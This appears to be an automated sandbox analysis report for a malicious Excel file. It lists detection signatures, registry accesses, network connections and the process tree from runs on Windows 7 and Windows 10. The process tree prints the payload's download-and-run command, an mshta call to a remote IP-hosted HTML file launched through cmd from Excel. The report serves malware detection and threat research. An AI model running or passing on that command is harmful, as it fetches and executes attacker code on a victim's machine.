Analysis Overview
SHA256
42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae
Threat Level: Known bad
The file 42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 20:22
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 20:22
Reported
2024-11-11 20:24
Platform
win7-20240903-en
Max time kernel
118s
Max time network
120s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1388 wrote to memory of 2676 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1388 wrote to memory of 2676 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1388 wrote to memory of 2676 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1388 wrote to memory of 2676 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2676 wrote to memory of 2928 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2676 wrote to memory of 2928 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2676 wrote to memory of 2928 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2676 wrote to memory of 2928 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c mshta http://91.240.118.168/qqw/aas/se.html
C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/qqw/aas/se.html
Network
| Country | Destination | Domain | Proto |
| RU | 91.240.118.168:80 | tcp | |
| RU | 91.240.118.168:80 | tcp |
Files
memory/1388-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1388-1-0x00000000725ED000-0x00000000725F8000-memory.dmp
memory/1388-2-0x00000000725ED000-0x00000000725F8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 20:22
Reported
2024-11-11 20:24
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
142s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4024 wrote to memory of 1828 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 4024 wrote to memory of 1828 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 1828 wrote to memory of 8 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 1828 wrote to memory of 8 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\42b2729948f01586edc8e23d8e1cede76c593dbf28d9859811f782726bf298ae.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c mshta http://91.240.118.168/qqw/aas/se.html
C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/qqw/aas/se.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| RU | 91.240.118.168:80 | tcp | |
| US | 8.8.8.8:53 | 88.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.20.149.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 106.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
memory/4024-0-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp
memory/4024-3-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp
memory/4024-2-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp
memory/4024-1-0x00007FFFFF0AD000-0x00007FFFFF0AE000-memory.dmp
memory/4024-4-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp
memory/4024-9-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-10-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-12-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-13-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-14-0x00007FFFBC9D0000-0x00007FFFBC9E0000-memory.dmp
memory/4024-11-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-8-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-15-0x00007FFFBC9D0000-0x00007FFFBC9E0000-memory.dmp
memory/4024-7-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-6-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-5-0x00007FFFBF090000-0x00007FFFBF0A0000-memory.dmp
memory/4024-26-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-27-0x00007FFFFF0AD000-0x00007FFFFF0AE000-memory.dmp
memory/4024-28-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
memory/4024-29-0x00007FFFFF010000-0x00007FFFFF205000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | f9fb15087dd9cdd0f6d14660e92c2fcc |
| SHA1 | 5f0d718311ea14b9c0101912d5f389c3cd6aa643 |
| SHA256 | 53999d97742f32db3c8027d5d10ab59df1b5d8b8ae00a2fb3c1eee3d17b54bca |
| SHA512 | aac9126defdee6f13ad85d72221f55f8047bcc0dc8b0ab4c239f965dc0651cafa589a9d48a97e476244fc12f1975b0607318e508609fb0747564c3457ef2ff63 |